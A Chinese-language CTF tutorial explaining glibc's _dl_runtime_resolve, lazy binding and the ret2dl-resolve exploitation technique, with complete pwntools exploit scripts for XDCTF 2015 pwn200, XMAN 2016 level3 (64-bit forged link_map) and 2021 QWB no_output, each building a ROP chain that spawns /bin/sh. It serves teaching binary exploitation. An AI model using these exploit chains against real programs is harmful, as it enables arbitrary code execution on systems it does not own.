深入理解-dl_runtime_resolve

unr4v31發表於2021-08-20

深入理解-dl_runtime_resolve

概要

目前大部分漏洞利用常包含兩個階段:

  • 首先通過資訊洩露獲取程式記憶體佈局
  • 第二步才進行實際的漏洞利用

然而資訊洩露的方法並不總是可行的,且獲取的記憶體資訊並不可靠,於是就有了ret2dl_resolve的利用方式。這種方式巧妙的利用了ELF檔案格式以及動態裝載器的弱點,不需要進行資訊洩露就可以直接標識關鍵函式並呼叫。

符號解析過程以及結構體定義

解析原理

  • 動態裝載器負責將二進位制檔案以及依賴庫載入到記憶體,該過程包含了對匯入符號的解析。

  • 也就是說,在第一次呼叫函式時都由_dl_runtime_resolve函式來完成,以下是函式原型:

    _dl_runtime_resolve(link_map_obj, reloc_index)
    

  • resolve函式第二個引數是reloc_index,它可以找到檔案中.rel.plt表,.rel.plt表由Elf Rel結構體組成,定義如下:

    它的r_offset用於儲存解析後的符號地址寫入記憶體的位置(絕對地址),r_info的高位3位元組用於標識該符號在.dynsym中的下標。

    它在程式中的內容如下:

  • Elf Rel結構體中的r_info 成員指向.dynsym段中的Elf Sym結構體。結構體定義如下:

  • Elf Sym結構體中前兩個成員為重要成員,st_value 是當符號被匯出時用於存放虛擬地址,不匯出則為NULL。st_name 是相對於.dynstr段的偏移, .dynstr儲存符號名稱字串, 內容如下:

總結起來就是:
當程式匯入函式時,動態連結器在.dynstr段中新增一個函式名稱字串
.dynsym段中新增一個指向函式名稱字串的Elf Sym結構體
.rel.plt段中新增一個指向Elf SymElf Rel結構體
最後Elf Relr_offse構成GOT表,儲存在.got.plt段中

Lazy Binding

  • Lazy Binding機制(延遲繫結)即只有函式被呼叫時,才會對函式地址進行解析,然後將真實地址寫入GOT表中。第二次呼叫函式時便不再進行載入

  • 該過程是通過PLT表進行的。每個函式都在PLT表中有一個條目(PLT[0]),第一條指令無條件跳轉到對應的GOT條目儲存的地址。在程式中類似於下面這樣:

  • 然後GOT條目在初始化時預設指向PLT條目的第二條指令位置(PLT[1]),相當於又跳回來了。執行下面兩條指令:

    1. push xxx :先將匯入函式的標識(Elf Rel.rel.plt的偏移)壓棧
    2. 然後跳轉到GOT[2]儲存的地址處,也就是_dl_runtime_resolve()函式

    在程式中類似於下面這樣,並且可以驗證0x804A008,也就是GOT[2]是儲存的dl_runtime_resolve()函式:

  • _dl_runtime_resolve函式中第一個引數link_map_obj,用於獲取解析匯入函式所需的資訊,第二個引數reloc_index則標識瞭解析哪一個匯入函式(當前函式setbufreloc_index是0,所以是0):

    下面看看另一個函式strlenreloc_index為0x10,所以為0x10:

  • _dl_runtime_resovle函式中,_dl_fixup()函式用於解析匯入函式的真實地址,並改寫GOT:

總結起來就是:
首先無條件跳轉到GOT表條目,jmp xxx
然後把reloc_index壓棧,再次跳轉到GOT條目**
然後把link_map_obj壓棧,引數壓棧完成後,執行_dl_runtime_resolve函式
_dl_runtime_resolve中的_dl_fixup完成解析並將真實地址寫入GOT表

漏洞利用

程式保護機制RELRO(Relocation Read-Only,重定位只讀)是用於緩解由動態解析缺陷而產生的。一般分為三種情況:

gcc -o test test.c                  // 預設情況下, 是Partial RELRO
gcc -z norelro -o test test.c       // 關閉, 即No RELRO。
gcc -z lazy -o test test.c          // 部分開啟, 即Partial RELRO
gcc -z now -o test test.c           // 全部開啟, 即
  • No RELRO

完全關閉。.dynamic段可寫,動態裝載器是以.dynamic段的DT_STRTAB條目來獲取.dynstr段的地址,而DT_STRTAB地址是已知的,且預設情況下可寫,所以可以改寫DT_STRTAB,欺騙動態裝載器,使其找到偽造的.dynstr段,將我們控制的地址內的字串解析為函式名稱,然後去解析函式地址。比如修改DT_STRTAB.dynstr條目內容為bss段,在bss段中寫入execve字串,假如現在正要解析printf函式,那麼就會解析成execve函式的地址。

  • Partial RELRO

開啟部分保護,.dynamic段不可寫。之前介紹_dl_runtime_resolve時提到,第二個引數reloc_index對應Elf Rel.rel.plt中的偏移,動態裝載器將reloc_index加上.rel.plt的基址來得到目標Elf Rel的記憶體地址。

當我們控制reloc_index的值,使它相加後剛好落在bss段上,就可以在bss段上構造一個Elf Rel結構體,使Elf Rel的第一個成員r_offset的值是一個可寫的地址,用來儲存解析後的函式地址。然後使r_info的值導向到可控制的記憶體下標,指向Elf SymElf Sym中的st_name 再指向函式名稱字串,那麼就可以解析成我們想要的函式地址。

  • FULL RELRO

保護完全開啟,開啟後立即繫結函式地址,新增 PT_GNU_RELRO 段,.got只讀不可寫,.got.plt 節取消,PLT 直接呼叫.got節地址。Bypass可參考網上資料。

XDCTF 2015 pwn200

  1. 程式原始碼

    #include <string.h>
    #include<stdio.h>
    
    void vuln()
    {
        char buf[100];
        setbuf(stdin, buf);
        read(0, buf, 256);
    }
    
    int main()
    {
        char buf[100] = "Welcome to XDCTF2015~!\n";
        setbuf(stdout, buf);
        write(1, buf, strlen(buf));
        vuln();
        return 0;
    };
    
  2. 編譯為動態連結32位可執行檔案,開啟Partial RELRO 和NX保護:

    gcc -m32 -fno-stack-protector -no-pie pwn200.c -o pwn200
    

  1. 可以從原始碼得知有棧溢位漏洞,可以通過洩露libc地址的方式獲取flag,但在這裡使用ret2dl-resolve的方式。
  2. 程式開啟了Partial RELRO 保護,那麼就按照上面介紹的第二種保護情況來做。
  • 首先利用棧溢位控制執行流,呼叫read函式將下一階段的payload讀取到bss段上:
payload1 = b'a' * (0x6c + 4)                       # 填充長度
payload1 += p32(read_plt)                          # read(0, bss_addr, 100)
payload1 += p32(pppr)                              # 清棧
payload1 += p32(0) + p32(bss_addr) + p32(100)
payload1 += p32(pop_ebp_addr)                      # 構造一個假的ebp
payload1 += p32(bss_addr)                        
payload1 += p32(leave_ret_addr)                    # 棧遷移到bss段中
  • 這裡一步一步模擬write函式的解析過程,最終實現system("/bin/sh") 。在bss段構造payload,並且列印出我們填入的字串,以便驗證:
payload2 = b'aaaa'                               # ebp
payload2 += p32(write_plt)                       # write(1, bss_addr+80, 7)
payload2 += b'aaaa'
payload2 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload2 += b'a' * (80 - len(payload2))          # 填充長度為80,以免字串被後續payload破壞
payload2 += b'/bin/sh\x00'                       # bss_addr+80 內容為字串 “/bin/sh\x00”
payload2 += b'a' * (100 - len(payload2))        
  • 接下來模擬write@plt的執行效果。在bss段構造payload,將_dl_runtime_resolve函式的引數壓棧,也就是reloc_index ,再跳轉到PLT[0],就是第一個無條件跳轉指令 jmp xxx
reloc_index = 0x20

payload3 = b'aaaa'
payload3 += p32(plt_0)                      # write 函式的jmp xxx地址
payload3 += p32(reloc_index)                # push 0x20
payload3 += b'aaaa'
payload3 += p32(1) + p32(bss + 80) + p32(len('/bin/sh'))
payload3 += b'a' * (80 - len(payload3))
payload3 += b'/bin/sh\x00'
payload3 += b'a' * (100 - len(payload3))
  • 然後在bss段中構造一個Elf Rel結構,r_offset 設定成write@got 的地址,表示解析後的真實地址填入這裡。r_info直接照搬,設定成0x607,動態載入器會通過這個值找到對應的Elf Sym。那麼現在reloc_index就不再是0x20了,應該調整為Elf Rel基地址距離bss段上的偏移:

r_info成員的值是0x607,直接照搬到payload中

reloc_index = bss_addr - rel_plt + 28       # 這裡需要加上28的偏移,具體可以除錯得知
r_info = 0x607                              # .rel.plt 的 r_info 成員
fake_reloc = p32(write_got) + p32(r_info)   # 模擬JMPREL Rel表

payload4 = b'aaaa'
payload4 += p32(plt_0)                      # plt[0]
payload4 += p32(reloc_index)                # push 
payload4 += b'aaaa'
payload4 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))  # write函式的引數,會列印出“/bin/sh”

payload4 += fake_reloc                      

payload4 += b'a' * (80 - len(payload4))     # 填充長度
payload4 += b'/bin/sh\x00'
payload4 += b'a' * (100 - len(payload4))
  • 在bss段中偽造Elf Sym。首先使用readelf命令,查詢到write函式在.dynsym段的下標,得知下標為6,然後使用objdump找到下標為6的那一行,資料直接照搬就可以了:

那麼之前構造的fake_reloc也要調整,r_info可以通過r_symr_type計算得出。r_sym也就是Elf Sym相對於.dynsym段的下標偏移,r_type則照搬R_386_JUMP_SLOT的值 0x7

reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10              # 需要補上40位元組的偏移,具體可以除錯
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff)         # write函式這裡的結果就是0x607

fake_reloc = p32(write_got) + p32(r_info)
fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12)   # 上面objdump的結果照搬
payload5 = b'aaaa'
payload5 += p32(plt_0)
payload5 += p32(reloc_index)
payload5 += b'aaaa'
payload5 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload5 += fake_reloc
payload5 += b'aaaa'
payload5 += fake_sym
payload5 += b'a' * (80 - len(payload5))
payload5 += b'/bin/sh\x00'
payload5 += b'a' * (100 - len(payload5))
  • 最後,在bss段上偽造.dynstr,也就是放上"write"字串,相應的調整fake_sym的st_name指向偽造的函式名稱字串。st_info 欄位的內容被分為高 28 位的 st_bind 符號繫結資訊,以及低 4 位的 st_type 符號型別資訊,然後可以通過st_blindst_type來計算st_info

reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)                  # 0x607
fake_reloc = p32(write_got) + p32(r_info)                # Elf Rel

st_name = bss_addr + 56 - dynstr                         # 指向寫入的"write"字串
st_bind = 0x1                                            # st_info高28位
st_type = 0x2                                            # st_info低4位
st_info = (st_bind << 4) + (st_type & 0xf)               # 0x12

fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload6 = b'aaaa'
payload6 += p32(plt_0)
payload6 += p32(reloc_index)                             # fake reloc_index,偏移到了bss段
payload6 += b'aaaa'
payload6 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函式引數
payload6 += fake_reloc                                   # fake Elf Rel
payload6 += b'aaaa'
payload6 += fake_sym                                     # fake Elf Sym
payload6 += b'write\x00'                                 # st_name
payload6 += b'a' * (80 - len(payload6))
payload6 += b'/bin/sh\x00'   
payload6 += b'a' * (100 - len(payload6))

最後,只要將字串“write”改成“system”,調整一下引數即可獲得shell。

  • 完整exp
from pwn import *

# context.log_level = 'debug'

elf = ELF('./pwn200')
# io = remote('127.0.0.1', 10001)
io = process('./pwn200')
io.recv()

pppr_addr      = 0x08048619     # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr   = 0x0804861b     # pop ebp ; ret
leave_ret_addr = 0x08048458 #: leave ; ret

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt  = elf.plt['read']

plt_0    = elf.get_section_by_name('.plt').header.sh_addr        # 0x80483e0
rel_plt  = elf.get_section_by_name('.rel.plt').header.sh_addr    # 0x8048390
dynsym   = elf.get_section_by_name('.dynsym').header.sh_addr     # 0x80481cc
dynstr   = elf.get_section_by_name('.dynstr').header.sh_addr     # 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr        # 0x804a028

base_addr = bss_addr + 0x600   

payload_1  = b"A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)

reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align       # 對齊

# fake Elf Rel
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)

# fake Elf Sym
st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

payload_7 = b"AAAA"
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index)
payload_7 += b"AAAA"
payload_7 += p32(base_addr + 80)
payload_7 += b"AAAA"
payload_7 += b"AAAA"
payload_7 += fake_reloc
payload_7 += b"A" * align
payload_7 += fake_sym
payload_7 += b"system\x00"
payload_7 += b"A" * (80 - len(payload_7))
payload_7 += b"/bin/sh\x00"
payload_7 += b"A" * (100 - len(payload_7))
io.sendline(payload_7)
io.interactive()
  • 如果覺得手工構造太麻煩,有一個工具 roputils 可以簡化此過程,或者可以使用pwntools中自帶的 模組來完成,下面是pwntools構造32位程式exp的例子:
from pwn import *

context.binary = elf = ELF("./pwn200")
context.arch='i386'
context.log_level ='debug'

rop = ROP(context.binary)

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn200")
io.recvuntil("\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

x64的ret2dl-resolve—XMAN 2016-level3

檢查保護

  • 64 位程式一般情況下使用暫存器傳參,但給 _dl_runtime_resolve 傳參時使用棧
  • _dl_runtime_resolve 函式的第二個引數 reloc_index 由偏移變為了索引

64位在這種情況下,如果像32位一樣依次偽造reloc_indexsymtabstrtab會出錯,原因是在_dl_fixup函式執行過程中,訪問到了一段未對映的地址處,接下來我們結合 _dl_fixup 完整原始碼進行分析,原始碼位於 glibc-2.23/elf/dl-runtime.c , 在關鍵位置給出了註釋,其他位置可忽略:

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) 
// 第一個引數link_map,也就是got[1]
{
    // 獲取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);

    // 獲取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

    // reloc_offset就是reloc_arg,獲取重定位表項中對應函式的結構體
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

    // 根據重定位結構體的r_info得到symtab表中對應的結構體
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
// 檢查r_info的最低位是不是7
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); 

// 這裡是一層檢測,檢查sym結構體中的st_other是否為0,正常情況下為0,執行下面程式碼
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) 
    {
      const struct r_found_version *version = NULL;

    // 這裡也是一層檢測,檢查link_map中的DT_VERSYM是否為NULL,正常情況下不為NULL,執行下面程式碼
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      /* 到了這裡就是64位下報錯的位置,在計算版本號時,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的過程中,
			由於我們一般偽造的symtab位於bss段,就導致在64位下reloc->r_info比較大,故程式會發生錯誤。所以要使程式不發生錯誤,
			自然想到的辦法就是不執行這裡的程式碼,分析上面的程式碼我們就可以得到兩種手段:

			第一種手段就是使上一行的if不成立,也就是設定link_map中的DT_VERSYM為NULL,那我們就要洩露出link_map的地址,而如果我們能洩露地址,根本用不著ret2dlresolve。
			第二種手段就是使最外層的if不成立,也就是使sym結構體中的st_other不為0,直接跳到後面的else語句執行。*/
      const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }
 
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }
 
      RTLD_ENABLE_FOREIGN_CALL;

    // 在32位情況下,上面程式碼執行中不會出錯,就會走到這裡,這裡通過strtab+sym->st_name找到符號表字串,result為libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();
 
      RTLD_FINALIZE_FOREIGN_CALL;
 
      // 同樣,如果正常執行,接下來會來到這裡,得到value的值,為libc基址加上要解析函式的偏移地址,也即實際地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    {
      // 這裡就是64位下利用的關鍵,在最上面的if不成立後,就會來到這裡,這裡value的計算方式是 l->l_addr + st_value,我們的目的是使**value為我們所需要的函式的地址,所以就得控制兩個引數,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
 
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最後把value寫入相應的GOT表條目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

所以接下來我們的任務就是控制 link_map 中的l_addr和 sym中的st_value

具體思路為:

  • 偽造 link_map->l_addr 為libc中已解析函式與想要執行的目標函式的偏移值,如 addr_system - addr_xxx
  • 偽造 sym->st_value 為已經解析過的某個函式的 got 表的位置

下面是64位下的sym結構體:

所以sym結構體的大小為24位元組,st_value就位於首地址+0x8的位置( 4 + 1 + 1 + 2)。

如果,我們把一個函式的got表地址-0x8的位置當作sym表首地址,那麼它的st_value的值就是這個函式的got表上的值,也就是實際地址,此時它的st_other恰好不為0

再來看link_map的結構

struct link_map {
    Elf64_Addr l_addr;
 
    char *l_name;
 
    Elf64_Dyn *l_ld;
 
    struct link_map *l_next;
 
    struct link_map *l_prev;
 
    struct link_map *l_real;
 
    Lmid_t l_ns;
 
    struct libname_list *l_libname;
 
    Elf64_Dyn *l_info[76];  //l_info 裡面包含的就是動態連結的各個表的資訊
    ...
 
    size_t l_tls_firstbyte_offset;
 
    ptrdiff_t l_tls_offset;
 
    size_t l_tls_modid;
 
    size_t l_tls_dtor_count;
 
    Elf64_Addr l_relro_addr;
 
    size_t l_relro_size;
 
    unsigned long long l_serial;
 
    struct auditstate l_audit[];
}

這裡的.dynamic節就對應Elf64_Dyn * l_info的內容

所以如果我們偽造一個link_map表,很容易就可以控制 l_addr ,通過閱讀原始碼,我們知道_dl_fixup主要用了 l_info 的內容 ,也就是上圖中JMPREL,STRTAB,SYMTAB的地址。

所以我們需要偽造這個陣列裡的幾個指標

  • DT_STRTAB指標:位於link_map_addr +0x68(32位下是0x34)
  • DT_SYMTAB指標:位於link_map_addr + 0x70(32位下是0x38)
  • DT_JMPREL指標:位於link_map_addr +0xF8(32位下是0x7C)

然後偽造三個elf64_dyn即可,dynstr只需要指向一個可讀的地方,因為這裡我們沒有用到

  • 64位下重定位表項與32位有所不同,多了r_addend成員,三個成員各佔8位元組,總大小為24位元組:

  • 在這裡可以看到,write 函式在符號表中的偏移為 2(也就是r_info的值:0x200000007h>>32)

  • 除此之外,在 64 位下,plt 中的程式碼 push 的是待解析符號在重定位表中的索引,而不是偏移。比如,write 函式對應上圖中第一個,下標為0,那麼就push 0

  • 看看另一個,read函式對應的下標為1,那麼就push 1

可以發現針對軟體重定位的攻擊其實都是圍繞函式 _dl_fix_up 的兩個引數 link_mapreloc_arg 展開的,再加上相關資料結構的偽造完成攻擊。確實感覺這種攻擊是格式化的,雖然過程看上去很複雜,但是實際上都有固定的“套路”,只需按照步驟一步一步操作,大多數情況下就可以完成整個攻擊。

  • 下面是完整的指令碼
from pwn import *
context.update(os = 'linux', arch = 'amd64')

p = process('./level3_x64')

universal_gadget1 = 0x4006aa
universal_gadget2 = 0x400690

main_got = 0x600a68
pop_rdi_ret = 0x4006b3
jmp_dl_fixup = 0x4004a6
pop_rbp_ret = 0x400550
leave_ret = 0x400618
read_got = 0x600a60
new_stack_addr = 0x600ad0
fake_link_map_addr = 0x600b00

payload = b""
payload += b'A'*(0x80+0x8)
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += b'A'*56

payload += p64(pop_rbp_ret)
payload += p64(new_stack_addr)
payload += p64(leave_ret)

p.send(payload)

sleep(0.5)

offset = 0x24c50    # system - __libc_start_main

fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0)    #d_tag  從link_map中找.rel.plt不需要用到標籤, 隨意設定
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  #d_ptr  指向偽造的Elf64_Rela結構體,由於reloc_offset也被控制為0,不需要偽造多個結構體

fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset)  # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行
fake_Elf64_Rela += p64(7)               # r_info index設定為0,最後一位元組必須為7
fake_Elf64_Rela += p64(0)               # r_addend  隨意設定

fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0)                # st_name 隨意設定
fake_Elf64_Sym += b'AAAA'                # st_info, st_other, st_shndx st_other非0以避免進入重定位符號的分支
fake_Elf64_Sym += p64(main_got-8)       # st_value 已解析函式的got表地址-8,-8體現在彙編程式碼中,原因不明
fake_Elf64_Sym += p64(0)                # st_size 隨意設定

fake_link_map_data = b""
fake_link_map_data += p64(offset)       # l_addr,偽造為兩個函式的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00'*0x20
fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB 設定為一個可讀的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB 指向對應結構體陣列的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00'*0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向對應陣列結構體的地址

payload = b""
payload += b"AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr+0x78) # /bin/sh\x00地址
payload += p64(jmp_dl_fixup)    # 用jmp跳轉到_dl_fixup,link_map和reloc_offset都由我們自己偽造
payload += p64(fake_link_map_addr)    # 偽造的link_map地址
payload += p64(0)             # 偽造的reloc_offset
payload += fake_link_map_data

p.send(payload)
p.interactive()

2021強網杯 [強網先鋒]no_output

此題也是考驗ret2dl-resolve攻擊方式。exp如下:

from pwn import *

# s = process("./test")
s = remote("39.105.138.97", "1234")
elf = ELF("./test")

# 除錯引數
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# bss
bss = elf.bss(0x400)
# ROPgadget
leave = 0x08049267  # leave 清棧
pppr = 0x08049581  # pop esi;pop edi;pop ebp;ret
p_ebp_r = 0x08049583  # pop ebp;ret
r = 0x0804900e  # ret
read = elf.sym['read']

# 初始化表地址
plt = elf.get_section_by_name('.plt').header.sh_addr  # 帶linkmap然後jmp到_dl_runtime_resolve
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# 輸入buf
s.send(b'\x00' * 0x30)
# 輸入src
s.send(b'\x00' * 0x20)
# 輸入soul
s.sendline(b'-2147483648')
# 輸入egg
s.sendline(b'-1')

def send1():
    payload1 = b'a' * 0x48
    payload1 += p32(bss)
    payload1 += p32(read)
    payload1 += p32(pppr)
    payload1 += p32(0)
    payload1 += p32(bss)
    payload1 += p32(0x200)
    payload1 += p32(p_ebp_r)
    payload1 += p32(bss)
    payload1 += p32(leave)
    payload1 = payload1.ljust(0x100, b'\x00')
    s.send(payload1)

def send2():
    # 偽造地址
    fake_sym = bss + 0x24
    fake3 = 0x10 - ((fake_sym - dynsym) & 0xf)
    fake_sym += fake3

    index = int((fake_sym - dynsym) / 0x10)
    rrr = (index << 8) | 0x7
    # 計算偏移
    name = (fake_sym + 0x10) - dynstr
    offset = (bss + 0x1c) - rel_plt
    # 重定位
    rel = p32(elf.got['read']) + p32(rrr)

    binsh = bss + 0x100

    payload2 = p32(0)
    payload2 += p32(plt)
    payload2 += p32(offset)
    payload2 += p32(0)
    payload2 += p32(binsh)
    payload2 += p32(0)
    payload2 += p32(0)
    payload2 += rel
    payload2 += b'a' * fake3
    payload2 += p32(name)
    payload2 += p32(0)
    payload2 += p32(0)
    payload2 += p32(18)
    payload2 += b'system\x00'
    payload2 = payload2.ljust(256, b'\x00')
    payload2 += b'/bin/sh'
    s.send(payload2)

send1()
send2()
s.interactive()